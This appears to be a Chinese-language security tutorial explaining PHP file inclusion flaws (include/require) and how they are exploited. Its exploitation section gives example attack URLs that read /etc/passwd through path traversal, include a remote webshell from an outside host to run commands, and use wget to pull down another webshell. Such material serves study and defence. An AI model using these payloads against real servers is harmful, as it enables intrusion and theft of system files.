1.原理
服务器通过php特性(函数)去包含任意文件时候,由于未对文件来源进行过滤,从而造成包含一个攻击者恶意构造的文件,造成威胁。
php中有四个函数可用于文件包含,分别是include(),require()和include_once(),require_once()。
include()函数可包含文件,当包含外部文件发生错误时,系统会给出警告,但文件会继续执行。
require()函数可包含文件,当包含外部文件发生错误时,系统会给出警告,但文件会停止执行。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的。所以我就不重复了。
2.为什么要包含文件
因为程序员不想重复写同样的代码,也不想代码复制多遍,通过包含的方法就可以直接使用里面的代码不需要再进行其他操作,所以大量地解放生产力。
3.如何利用
A:包含读出其他的文件
利用应用程序对文件包含处的参数过滤不严的漏洞,读取其他文件,例如指定URL为:http://hi.baidu.com/m4r10/php/index.php?page=./txt,这样可以直接读出该路径下面所有的txt文件,你可以用这种方法探查某文件存在与否,如果该地方参数未对../进行过滤的话,那你可以利用../来跳出当前路径,如果他的权限比较高的话,那你甚至可以进行输入绝对路径试一下,例如http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd。
B:远程文件包含可运行的PHP木马
如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行,例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=ls,cmd.txt为小马,可执行cmd命令,cmd=为接受命令参数。
C:包含一个创建文件的PHP文件
这种方法可有两种手段
1.通过wget方法来下载一个webshell
例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=wget .........
2.直接创建一个新文件
如果主机禁用了wget这个命令或者当前目录禁止写操作,那就使用一个可以创建文件的脚本,找一个可以创建文件的目录进行创建。